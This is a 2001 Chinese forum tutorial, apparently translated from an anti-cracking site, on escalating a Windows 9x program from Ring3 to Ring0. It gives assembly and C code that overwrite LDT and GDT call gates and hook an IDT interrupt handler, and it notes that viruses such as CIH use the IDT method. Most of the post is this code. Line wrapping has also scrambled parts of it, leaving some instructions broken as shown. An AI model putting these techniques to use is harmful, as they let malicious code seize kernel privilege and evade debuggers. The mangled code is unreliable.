--------------------------------------------------------------------------------
谈谈Ring0的实现
--------------------------------------------------------------------------------
处理器有4个级的优先权:Ring0,Ring1,Ring2,Ring3.
大多数程序运行于Ring3这个级别。Ring3有很多限制,
如: 我们不能读DR(debug-registers,调试寄存器),所有关于 DR的指令都不起作用。(如:mov eax,dr7).
对我们来说当然是优先级越高越好,所以我们要使我们的 程序运行在Ring0.但是只有少数的特殊的程序有Ring0的优先权。
设备驱动程序运行于Ring0,但它的代码可不简单!
所幸,Windows有很多漏洞,特别是Win9X。有很多方法可以将 程序的优先级从Ring3变成Ring0.
这些方法被很多病毒所用, 当然,我们还有更多,更好的用途!
这些方法只适用于Win9X,不适用WinNT。因为WinNT是黑客的主要攻击对象,它的漏洞都添的差不多了。
可以在程序中加入代码 先判断操作系统是否Win9X,若是就可以用了。
如果一定要在 WinNT或Win2K下用Ring0,就要编写设备驱动了。
如果你是admin(管理员)级别的用户,那还有别的方法,但前提是你必须有admin的级别。
对一般用户来说这是个好消息,因为Win下的病毒没那么好编, 那些病毒作者就要费老劲了!
--------------------------------------------------------------------------------
Part I
下面介绍一下改变优先权至Ring0的方法用LDT(Locale Descriptor Table):
这个古老的方法极少被用。这不是最好的方法,但至少比用IDT 好,原因嘛?因为它鲜为人知。 下面是程序范例:
--------------------------------------------------------------------------------
.386p
.MODEL FLAT,STDCALL
locals
jumps
UNICODE=0
include w32.inc
Extrn SetUnhandledExceptionFilter : PROC
.data
msg1
db "Switch to Ring0 by LDT",0
msg2
db "Ring0 activated",0
gdt_
df 0
call_
dd 00
dw 0Fh
o_gate
.code
dw 0
dw 028h ;segment for RING0
dw 0EC00h
dw 0
Start:
mov eax, offset ring0
;our Ring0 routine
mov [o_gate],ax ;set address of our new Ring0 service to our "callgate" shr
eax,16
mov [o_gate+6],ax
xor eax, eax
sgdt fword ptr gdt_
;save GDT mov ebx,dword ptr [gdt_+2] ;GDT base address
sldt
ax
add
ebx,eax
;discriptor address
mov
al,[ebx+4]
mov
ah,[ebx+7]
shl
eax,16
;LDT address
mov ax,[ebx+2] ;callgate's discriptor address
add eax,8
mov edi,eax
;set in callgate for changes
mov esi,offset
o_gate
;our "callgate" address
movsd
;move it to real callgate
movsd
;for jump to Ring0
call fword ptr [call_]
;jump to Ring0 to our Ring0 service
xor eax, eax
sub edi,8
stosd
stosd
;delete our changes in callgate
call MessageBoxA,0, offset msg2, offset msg1,0
call ExitProcess, -1
--------------------------------------------------------------------------------
;Our new Ring0 service
--------------------------------------------------------------------------------
ring0:
mov eax, dr7 ;test for Ring0
retf ;back to RING3
ends
end Start
--------------------------------------------------------------------------------
Part II
下面是我在网上找到的例子,是Sopinky用C写的。
Example:
--------------------------------------------------------------------------------
Main.CPP
--------------------------------------------------------------------------------
#include <WINDOWS.h>
#include "DirectHackers.h"
//it is a example of a proc in Ring 0
Ring0Proc()
{
InitRing0();
__asm
{
int 20h
//get current vm
_emit 0x01
//Function ID
_emit 0x00
_emit VMM_ID
//VXD ID
_emit 0x00
//in ebx i
have the handle
//of virtual
machine
}
RetCallback;
};
int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance, PSTR lpCmdLine,int
nCmdShow)
{
MSG msg ;
DWORD a;
int x;
__asm pusha
InitDirectH();
CallRing0((unsigned int)Ring0Proc);
__asm popa
return 0;
}
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;A .h Files;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
DirectHackers.h
--------------------------------------------------------------------------------
#ifndef __DirectHackers_h
#define __DirectHackers_h
#include "VMMStruct.h"
//Data
DWORD VM=0,TR=0;
Control_Block *VMCBSystem=0,*VMCB=0;
DWORD esp3;
WORD cs3,ds3,es3,sp3,fs3,gs3; //State of ring 3 register
WORD cs0,ds0,es0,fs0,gs0; //State of ring 0 register
Comp *Callb,Callbcpy; //a callbacks
//to return of ring 0
#define RetCallback \
_asm sti \
_asm pop edi \
_asm pop esi \
_asm pop ebx \
_asm leave \
_asm retf;
InitDirectH()
{
FPWORD gdt; //Base of GDT
Descriptor *gdtdesc;
word a;
__asm sgdt gdt; //get the addres of GDT
gdtdesc=(Descriptor *)gdt.base;
__asm //Save the ring 3 Segments selectors
{
mov cs3,cs
mov ds3,ds
mov es3,es
mov sp3,sp
mov fs3,fs
mov gs3,gs
mov esp3,esp
}
//Serch for the adecuate CS
for(a=0;a<(gdt.limite>>3);a++)
{
gdtdesc=(Descriptor *)(gdt.base+((DWORD)0x08*a));
if(gdtdesc->limit_l==0xffff &&
gdtdesc->base_l==0x0000 &&
gdtdesc->base_m==0x00 &&
gdtdesc->access==0x9b &&
gdtdesc->limit_h== 0xcf &&
gdtdesc->base_h==0x00)break;
}
cs0=a<<3;
//Serch for
the adecuate DS, ES, Etc
for(a=0;a<(gdt.limite>>3);a++)
{
gdtdesc=(Descriptor *)(gdt.base+((DWORD)0x08*a));
if(gdtdesc->limit_l==0xffff &&
gdtdesc->base_l==0x0000 &&
gdtdesc->base_m==0x00 &&
gdtdesc->access==0x93 &&
gdtdesc->limit_h== 0xcf &&
gdtdesc->base_h==0x00)break;
}
ds0=a<<3;
es0=a<<3;
fs0=a<<3;
gs0=a<<3;
}
//Call a proc
and switch to ring 0
CallRing0(DWORD PUNTERO)
{
FPWORD gdt;
Descriptor *gdtdesc;
Comp *Callb,Callbcpy;
FARJMP salto;
WORD h,l;
salto.offset32=0;
salto.seg=0x08;
__asm sgdt gdt;
gdtdesc=(Descriptor *)(gdt.base+8);
Callb=(Comp *)(gdt.base+8);
Callbcpy.sel=Callb->sel; //make
a copy
Callbcpy.attrib=Callb->attrib;
Callbcpy.offs_l=Callb->offs_l;
Callbcpy.offs_h=Callb->offs_h;
Callb->sel=cs0;
Callb->attrib=0xec00;;
__asm
{
mov eax,PUNTERO
mov l,ax
shr eax,16
mov h,ax
}
Callb->offs_l=l;
Callb->offs_h=h;
__asm {
push ds
push es
push gs
push fs
}
//save the ring 3
segment selectors
__asm
//Call the CALL GATE!!!!
cli
{
call FWORD PTR
}
__asm
{
cli
pop fs
salto
//restore de segment selectors in ring 3
pop gs
pop es
pop ds
sti
}
return;
}
InitRing0()
{
FPWORD gdt;
Comp *Callb;
__asm sgdt gdt;
__asm cli
Callb=(Comp *)(gdt.base+8);
Callb->sel=Callbcpy.sel;
Callb->attrib=Callbcpy.attrib;
Callb->offs_l=Callbcpy.offs_l;
Callb->offs_h=Callbcpy.offs_h;
__asm
{
mov ds,ds0
mov es,es0
mov fs,fs0
mov gs,gs0
sti
//int 3h
int 20h
_emit 0x08
//get the thead handle
_emit 0x01
_emit VMM_ID
_emit 0x00
mov TR,edi
int 20h
_emit 0x01
//get current vm
_emit 0x00
_emit VMM_ID
_emit 0x00
mov VM,ebx
//current VM handle, osea de sistema
sti
}
}
#endif
------------------------------------****--------------------------------------
VMMStruct.h
------------------------------------****--------------------------------------
#ifndef __vmmstruct_h
#define __vmmstruct_h
//definitions
#define Get_Cur_VM_Handle 0x01
#define Get_VMM_Version 0x00
#define VMM_ID 0x01
#define VDD_ID 0x0a
#define VFD_ID 0x0011f;
#define VWIN32_ID 0x0002A
#define SHELL_ID 0x00017
#define word unsigned short
#define dword unsigned int
#define DWORD unsigned int
#define WORD unsigned short
#define byte unsigned char
#define BYTE unsigned char
//Structs
#pragma pack(1)
typedef struct
{
word limite;
dword base;
}FPWORD;
typedef struct
{
dword offset32;
word seg;
}FARJMP;
//struct of
descriptors
typedef struct
{
WORD limit_l;
WORD base_l;
BYTE base_m;
BYTE access;
BYTE limit_h;
BYTE base_h;
}Descriptor;
typedef struct
{
WORD desp_l;
WORD sel;
BYTE tipo_l;
BYTE tipo_h;
BYTE desp_h;
}Idt_Descriptor;
//compuertas
del 386
typedef struct
{
WORD offs_l;
WORD sel;
WORD attrib;
WORD offs_h;
}Comp;
//Description
Block
typedef struct {
ULONG DDB_Next;
/* VMM RESERVED FIELD */
USHORT DDB_SDK_Version;
/* INIT <DDK_VERSION> RESERVED FIELD */
USHORT DDB_Req_Device_Number; /* INIT <UNDEFINED_DEVICE_ID>
*/
UCHAR DDB_Dev_Major_Version; /* INIT
<0> Major device number */
UCHAR DDB_Dev_Minor_Version; /* INIT
<0> Minor device number */
USHORT DDB_Flags;
/* INIT <0> for init calls complete */
UCHAR DDB_Name[8];
/* AINIT <" "> Device name
*/
ULONG DDB_Init_Order;
/* INIT <UNDEFINED_INIT_ORDER> */
ULONG DDB_Control_Proc;
/* Offset of control procedure */
ULONG DDB_V86_API_Proc;
/* INIT <0> Offset of API procedure */
ULONG DDB_PM_API_Proc;
/* INIT <0> Offset of API procedure */
ULONG DDB_V86_API_CSIP;
/* INIT <0> CS:IP of API entry point */
ULONG DDB_PM_API_CSIP;
/* INIT <0> CS:IP of API entry point */
ULONG DDB_Reference_Data;
/* Reference data from real mode */
ULONG DDB_Service_Table_Ptr; /* INIT
<0> Pointer to service table */
ULONG DDB_Service_Table_Size; /* INIT <0>
Number of services */
ULONG DDB_Win32_Service_Table; /* INIT <0>
Pointer to Win32 services */
ULONG DDB_Prev;
/* INIT <'Prev'> Ptr to prev 4.0 DDB */
ULONG DDB_Size;
/* INIT <SIZE(VxD_Desc_Block)> Reserved */
ULONG DDB_Reserved1;
/* INIT <'Rsv1'> Reserved */
ULONG DDB_Reserved2;
/* INIT <'Rsv2'> Reserved */
ULONG DDB_Reserved3;
/* INIT <'Rsv3'> Reserved */
}Desc_Block;
//Control block
typedef struct {
ULONG Client_EDI;
/* Client's EDI */
ULONG Client_ESI;
/* Client's ESI */
ULONG Client_EBP;
/* Client's EBP */
ULONG Client_res0;
/* ESP at pushall */
ULONG Client_EBX;
/* Client's EBX */
ULONG Client_EDX;
/* Client's EDX */
ULONG Client_ECX;
/* Client's ECX */
ULONG Client_EAX;
/* Client's EAX */
ULONG Client_Error;
/* Dword error code */
ULONG Client_EIP;
/* EIP */
USHORT Client_CS;
/* CS */
USHORT Client_res1;
/* (padding) */
ULONG Client_EFlags;
/* EFLAGS */
ULONG Client_ESP;
/* ESP */
USHORT Client_SS;
/* SS */
USHORT Client_res2;
/* (padding) */
USHORT Client_ES;
/* ES */
USHORT Client_res3;
/* (padding) */
USHORT Client_DS;
/* DS */
USHORT Client_res4;
/* (padding) */
USHORT Client_FS;
/* FS */
USHORT Client_res5;
/* (padding) */
USHORT Client_GS;
/* GS */
USHORT Client_res6;
/* (padding) */
ULONG Client_Alt_EIP;
USHORT Client_Alt_CS;
USHORT Client_res7;
ULONG Client_Alt_EFlags;
ULONG Client_Alt_ESP;
USHORT Client_Alt_SS;
USHORT Client_res8;
USHORT Client_Alt_ES;
USHORT Client_res9;
USHORT Client_Alt_DS;
USHORT Client_res10;
USHORT Client_Alt_FS;
USHORT Client_res11;
USHORT Client_Alt_GS;
USHORT Client_res12;
}Client_Reg_Struc;
typedef struct Thread_Control_Block {
ULONG TCB_Flags;
/* Thread status flags */
ULONG TCB_Reserved1;
/* Used internally by VMM */
ULONG TCB_Reserved2;
/* Used internally by VMM */
ULONG TCB_Signature;
ULONG TCB_ClientPtr;
/* Client registers of thread */
ULONG TCB_VMHandle;
/* VM that thread is part of */
USHORT TCB_ThreadId;
/* Unique Thread ID */
USHORT TCB_PMLockOrigSS;
/* Original SS:ESP before lock stack */
ULONG TCB_PMLockOrigESP;
ULONG TCB_PMLockOrigEIP;
/* Original CS:EIP before lock stack */
ULONG TCB_PMLockStackCount;
USHORT TCB_PMLockOrigCS;
USHORT TCB_PMPSPSelector;
ULONG TCB_ThreadType;
/* dword passed to VMMCreateThread */
USHORT TCB_pad1;
/* reusable; for dword align */
UCHAR TCB_pad2;
/* reusable; for dword align */
UCHAR TCB_extErrLocus;
/* extended error Locus */
USHORT TCB_extErr;
/* extended error Code */
UCHAR TCB_extErrAction;
/* " " Action */
UCHAR TCB_extErrClass;
/* " " Class */
ULONG TCB_extErrPtr;
/* " pointer */
}Thread_Control_Block;
typedef struct
{
DWORD CB_VM_Status ;
DWORD CB_High_Linear ;
DWORD CB_Client_Pointer ;
DWORD CB_VMID ;
DWORD CB_Signature ;
}Control_Block;
#endif
--------------------------------------------------------------------------------
Part III
我想汇编语言的例子会比C写的更简洁明了些!毕竟低层代码是汇编的拿手好戏。 下面介绍常用的用IDT(Interupt Descriptor Table)实现Ring0的方法
最早是ELICZ写的,后来陈盈豪写CIH也用到了。 这种方法是很常用的,但现在能被大多数的跟踪程序(Frog-Ice,IceDump)检测出来, 这就是我推荐LDT方法的原因,好了废话少说,下面是代码。
Example:
--------------------------------------------------------------------------------
.386p
.MODEL FLAT,STDCALL
locals
jumps
UNICODE=0
include w32.inc
Extrn SetUnhandledExceptionFilter : PROC
Interrupt
equ 5
;interrupt number which we will use
.DATA
;if you use Int 1h or 3h, it will be
;more harder debugg your program
msg1
db
"Switch to
Ring0 by IDT",0
msg2
db
"Ring0 activated",0
.CODE
Start:
push
edx
sidt
[esp-2]
;read IDT to stack
pop
edx
;address of Interrupt table
add
edx,(Interrupt*8)+4
;Interrupt table base+Int number+size for
;Int in Interrupt table=Int vector address
mov
ebx,[edx]
mov
bx,word ptr
[edx-4]
;read old address our interrupt (INT 5h)
lea
edi,InterruptHandler
mov
[edx-4],di
ror
edi,16
;set our new interrupt handler
mov
[edx+2],di
push
ds
;save registers
push
es
int
Interrupt
;jump to Ring0 (our int 5h handler)
pop
es
;restore registers
pop
ds
mov [edx-4],bx ;set old int 5h handler ror ebx,16
mov [edx+2],bx
call MessageBoxA,0, offset msg2, offset msg1,0 call ExitProcess, -1
;-----------------------------------------------------------------------------
;OUR NEW INT 5h HANDLER (it run in Ring0)
;-----------------------------------------------------------------------------
InterruptHandler:
mov eax,dr7
;test for Ring0
iretd
;jump back to Ring3
ends
end Start
--------------------------------------------------------------------------------
还有很多方法可以实现Ring0,我也不知道了。大家请自己学习吧。
- 标 题:win9x下ring0的实现(翻译自www.anticracking.sk) (16千字)
- 作 者:kobe
- 时 间:2001-1-24 23:14:38
- 链 接:http://bbs.pediy.com